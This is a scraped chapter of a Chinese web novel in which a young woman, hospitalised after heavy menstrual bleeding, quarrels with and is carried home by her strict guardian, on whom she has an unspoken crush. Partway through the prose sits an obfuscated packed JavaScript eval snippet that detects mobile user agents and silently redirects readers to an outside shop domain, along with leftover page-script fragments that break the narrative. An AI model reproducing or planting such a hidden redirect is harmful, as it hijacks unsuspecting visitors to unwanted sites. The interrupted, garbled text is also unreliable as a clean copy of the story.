18.背
    年闳肆赶到医院的时候,闻禧正奄奄一息的躺在病床上,手里捧着一杯奶茶。

    她本来是靠着床头,手里的奶茶还剩下一半,她咬着吸管,偶尔使劲的吸上一口,嚼一嚼小料,咽下去。

    突然看到门口有一个影子靠近,闻禧马上把奶茶放到一边,躺了下去。

    “我看你藏东西的速度挺灵活的。”她动作再快也不如年闳肆的视力敏锐,她一举一动全被他收在眼里,更何况床头柜上那杯奶茶还没销赃呢。

    闻禧紧抿着嘴角,闭着眼睛,装作听不到。

    她现在一点都不想理他。

    感受到床边沉默的阴影把她覆盖住,长时间的安静,让闻禧先沉不下心来,她睁眼,正对上床边年闳肆注视着她的眼神。

    闻禧挺有不服的,尽管现在她脸颊白得毫无血色,她也倔强的没有开口。

    年闳肆在床边的椅子坐下。

    “现在哪里不舒服?”他出声问。

    她脸色作不了假,刚刚进来的时候,听护士说,还没见过谁来月经血是那样流的,简直就跟在放血一样,做了检查没什么事,会有点轻微贫血。

    闻禧以前来月经就偶尔痛经,也没其它毛病。

    她身体素质确实不好,刚来年家时,三天两头生病,这一点随了她妈妈,身上各种小毛病多。

    年闳肆后来有在坚持带她一起锻炼身体。

    现在她也能慢慢的跑五公里了,虽然跑完之后喘得脸通红,上气不接下气,好歹给她一杯奶茶就能迅速回血。

    “哪里都不舒服。”闻禧闷闷的说:“我可能要死了,你给我准备后事吧。”

    “胡说。”年闳肆说:“谁动不动就说准备后事这样的话。”

    “你知道我刚刚流了多少血吗?”闻禧都后悔,她应该让姜北月拍照片留下证据,但现在一切都晚了,她连那条脏了的裤子都已经扔掉了。

    “我差点以为我的血都流干了。”闻禧有些委屈。

    当时肚子突然很痛,就开始一阵一阵的冒血,她大开的脑洞甚至让她那一瞬间想到这不会是流产吧。

    不过这样荒唐的想法马上被她否定。

    她确定她是来月经,再说也没有谁半个月流产的,这种时候有没有孕囊都不一定。

    肚子疼得过分,她甚至只能用大口呼吸来缓解,那些鲜红的血液让她几度感觉自己支撑不住,但闻禧在这方面毅力太足,她硬生生撑着没有晕倒。

    闻禧伸出一只手,展示给年闳肆看,“我手都快冷成僵尸了。”

    “不信你摸。”

    她故意把手放到他面前,年闳肆低头扫了一眼,看到她确实被冻得发白的手指头,和她脸色一样。

    他当然不会摸。

    闻禧冷哼一声,又把手收回来。

    可能失血过多,她整个人都冷得不行,要用被子把自己紧紧的裹住,年闳肆用手背去探了下她刚刚在喝的奶茶——

    是热的。

    “还想吃什么?”年闳肆声音放轻了许多,“我让人去买。”

    “不想吃。”闻禧赌气的说:“我不吃你买的东西。”

    看不出来她正跟他生气嘛,刚和她吵完架,每次都不知道道歉,就像是那种标准的家长,生完气后喊一句来吃饭就代表着和你和解了。

    和解哪有那么简单。

    年闳肆知道她在生气。

    她生气的事情他并不觉得自己做错了,他在大事上会和闻禧商量着来,但像她说的那些荒唐的事,他不认为自己一言堂有什么错。

    闻禧这方面的想法就是应该被纠正。

    不然也不会还嚷着说喜欢他这样天方夜谭的话。

    她今天不被纠正,明天在外面就能做出更多更离谱的事。

    “我这么多年的原则不可能被打破。”年闳肆沉声提醒她这一点,“顺着你来才是天下大乱了。”

    原则。

    年闳肆的原则。

    他这样严肃古板的人,向来最按原则做事,什么能做什么不能做,在他这里是长久以来给自己既定好的一个标准,他又铁石心肠,不允许他的标准被任何人打破。

    唯独闻禧在他这里有了唯一的纵容。

    但这个纵容也是在意外之下,之后他会更加克己自身,不容许再有任何的纰漏出现。

    闻禧当然知道他的原则。

    没有人比她更清楚了。

    “你连奶茶都没给我买过,还问我要吃什么。”闻禧指责他说:“以后做不到的事就不要道貌岸然的问我。”

    年闳肆沉默了两秒,他问:“还要喝奶茶?”

    不是不让她喝奶茶,是限制了她少喝,或者在看见她喝的时候制止两句。

    现在他主动说:“还想喝的话现在就去买。”

    闻禧摇头:“不要了,我又不是猪。”

    正说着,姜北月回来了。

    她手里拿着刚出来的检查报告单,看见年闳肆,她整个人僵住,刚到嘴边的话被她硬生生咽了回去。

    “给我。”年闳肆起身,朝姜北月伸手。

    姜北月感觉把手里的报告单都递过去。

    她此时在年闳肆面前,完全无法呼吸。

    姜北月能感受到年闳肆身上有一股肃杀感,那是经年中沉淀出现的气势,姜北月之前那些乱七八糟的设想在真正到年闳肆面前时都被这股肃杀感抹灭掉,让她深切意识到,他这个人是不可被亵渎的。

    甚至不能用思想去侵犯。

    她抽了几项血样,查了个腹部B超,都显示没什么问题。

    年闳肆简单看完报告后,目光转向姜北月。

    电话是她打给他的。

    姜北月此时竟然懂了年闳肆的意思,在他问话前,她先回答说:“医生问她是不是有乱吃药,可能是乱吃药造成了一些经期紊乱。”

    乱吃药。

    年闳肆脸色沉了沉。

    “谢谢你送闻禧来医院。”年闳肆说:“这里有我,你先回去吧。”

    姜北月此时如释重负,在偶像面前,她竟然巴不得赶紧离开。

    “等等。”年闳肆又喊住她,“闻禧昨晚和你在一起?”

    姜北月下意识点头:“是啊,在我家。”

    年闳肆点头应了一声,没再追问。

    姜北月离开后,年闳肆再次在椅子上坐下。

    他本来以为闻禧昨天晚上和代洵在一起,不知道胡闹了什么,意识到他又错怪了她,愧疚和心疼交织在一起,年闳肆再次沉默下来。

    “再给你点杯奶茶?”年闳肆说:“这杯已经凉了。”

    他主动调出手机的外卖页面,把手机递给闻禧。

    闻禧气呼呼,但又心想不吃白不吃,于是把手机接了过来。

    “我喝这个鸳鸯奶茶。”闻禧说:“它现在买一送一。”

    “那么多你非要喝这个?”

    闻禧已经进入了付款页面,她抬头义正言辞的说:“你不要因为一个名字就那么敏感。”

    “喝了鸳鸯奶茶就能变成鸳鸯吗?”

    她现在是弱势群体,年闳肆不和她争论,确实也只是一杯奶茶而已。

    他直接付了款,顺便还给了加了几份小蛋糕。

    闻禧一个人喝了两杯奶茶,蛋糕也吃了两个,吃完这些后,她觉得自己的精力被补回来不少,身体里流失掉的那些血好像都又回来了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064663|136875||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    冰凉的手脚也因为热乎乎的奶茶而一点点回温。

    闻禧掀开被子坐起来,说她现在要回去。

    “不要胡闹。”年闳肆制止她,“身体恢复了再回去。”

    “你说我在医院的话,年叔叔会担心的。”闻禧说:“难道你要告诉他我大出血进医院了,他肯定就得问我为什么大出血,那怎么和他说啊……”

    闻禧归根结底不想让年松吾担心。

    年松吾这些年苍老得迅速,是因为心里有个结在那里,这辈子都解不开,闻禧不想再让他担心。

    闻禧朝年闳肆伸手,她仰起苍白的脸,认真的对他说:“你抱我下去。”

    她伸手好一会儿,他看着她没动,闻禧吸了吸鼻子,小声解释说:“我自己走不动。”

    “浑身没有力气……”

    年闳肆背过身来,后背稍弯。

    他不说话,闻禧也不敢动,直到他回头看了她一眼,眼神明显在说,再不过来他就走了。

    闻禧爬起来,伸手去抱他的脖子。

    他的肩膀很宽厚,闻禧已经感受到他身上的肌肉,他左肩有伤,左手挂着她腿弯根本都没用力,只一只右手就能让她稳稳落在他背上。

    闻禧脑袋搭在他右肩膀上,懂事的问:“我在这边会牵到你的伤口吗?”

    她很瘦的,以年闳肆的力气,一只手就能把她提起来。

    “不会。”年闳肆淡声回答。

    他抬腿大步往前走。

    闻禧小心翼翼的吸了吸鼻子,脸颊很轻的靠了靠他肩侧,她嘴角不可控制的弯了下,好珍惜这样和他安静时亲密接触的机会。

    他身上是令她熟悉又安心的木质香,在过往这些年,这个味道几乎成了她的安慰剂,只要他出现,她无论在怎样糟糕的环境下,都能安心下来。

    她偏头去看他的脸。

    他鼻子是高挺的凌厉,眼皮很窄,眼眸里沉着浓浓的黑色,刚退伍回家时,他皮肤尚有在风吹日晒下的麦色,而经过这些年,又回到了他原本的肤色,不是很白,温韧结实,让她真想……亲一口。

    但闻禧忍住了。

    “年闳肆,这是你第一次背我。”闻禧小声,大有控诉的意思:“我以前跑完五公里快死了你都不愿意背我。”

    年闳肆说:“有腿就是用来自己走路的。”

    他严厉又有距离感,对闻禧过分的要求一律拒绝。

    尽管他在教养她,但男女有别,闻禧也在长大,没有人比年闳肆更看重这种分寸。

    此时他的后背和她前胸有亲密的接触,闻禧咽了咽口水,感受她喉间的干涸,她觉得呼吸也有点困难了,但她还是盯着他的侧脸,一动不动。

    她的目光大胆又灼亮,盯着她忍不住说:“你的鼻子好好看……”

    “闭嘴。”

    闻禧怕他把她扔下来,手圈得更紧,见年闳肆说完她没下一步的动作,她下巴又偷偷往前靠了靠,垂眼看到他手臂鼓起的肌肉,好想用脸颊去贴一贴。

    “我好喜欢你背我。”闻禧说:“好像只要你在,我就什么都不用怕。”

    还有就是,她真的好喜欢他,是生理性的,女性对男性的喜欢,是那种会酸涩到心底泡烂的情绪,她总是要尽力的把它们克制住。

    “年闳肆,你现在多对我好点吧,以后就没有这个机会了。”

    闻禧胡说八道的话,年闳肆早已经习惯,他顺着她的话说:“什么时候对你不好?”

    这些年来,她要什么有什么,她再胡闹也没有真的惩罚她,那么多荒唐事,哪一样真的怪她了。

    是到底不舍得。

    “当然不好了,你都不喜欢我。”